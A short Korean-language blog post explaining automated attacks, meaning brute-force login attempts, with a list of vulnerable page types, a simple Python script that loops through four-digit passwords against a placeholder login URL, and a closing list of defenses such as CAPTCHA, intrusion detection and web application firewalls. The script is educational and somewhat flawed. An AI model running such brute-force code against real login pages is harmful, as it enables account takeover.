본문 바로가기

old/Cyber Security

사이버 보안: 자동화 공격이란?

반응형

정의

자동화 공격은 공격자가 컴퓨터 프로그램이나 스크립트를 사용하여 대상 시스템을 자동으로 공격하는 취약점입니다.

취약점 발생 지점 리스트

  • 로그인페이지
  • 게시글 등록
  • sns 발송 페이지

취약점 검증 방법

  • 반복적으로 요청을 시도하고 아무 문제가 없는 경우

공격법

공격 시나리오

자동화 공격의 일반적인 시나리오는 다음과 같을 수 있습니다:

  • 자동화된 도구를 사용하여 반복적으로 로그인 시도를 합니다.
  • 사용자들중에 취약한 비밀번호를 가진 사용자의 비밀번호를 공격자가 탈취합니다.

발생 과정

공격 예제

다음 예제는 php로 만들어진 로그인 사이트에 비밀번호가 4자리수밖에 없다고 할때, 반복적으로 로그인 시도를 하도록 짜여진 파이썬 코드입니다.

import requests

url = '<http://example.com/login_check.php>'
username = 'test'
password = '1234'

# 세션 생성
session = requests.Session()

# POST 요청 보내기
for i in range(1,9999):
    data = {
        'user_id': username,
        'user_pass': i
    }

    response = requests.post(url, data=data)

    # 응답 결과 확인
    if response.status_code == 200:
        print('요청 비밀번호: ', i)
        print('응답 내용:', response.text)
    else:
        print('요청이 실패하였습니다. 상태 코드:', response.status_code)

대응방법

  1. 강력한 인증 및 암호화: 강력한 캡차 인증 방법과 암호화를 사용하여 악의적인 액세스를 방지합니다.
  2. 네트워크 보안: 방화벽, 침입 탐지 시스템 등을 사용하여 네트워크 트래픽을 모니터링하고 악성 활동을 탐지합니다.
  3. 웹 애플리케이션 보안: 웹 애플리케이션에서의 취약점을 예방하기 위해 보안 코딩 실천법을 준수하고 적절한 웹 애플리케이션 방화벽을 구축합니다.
반응형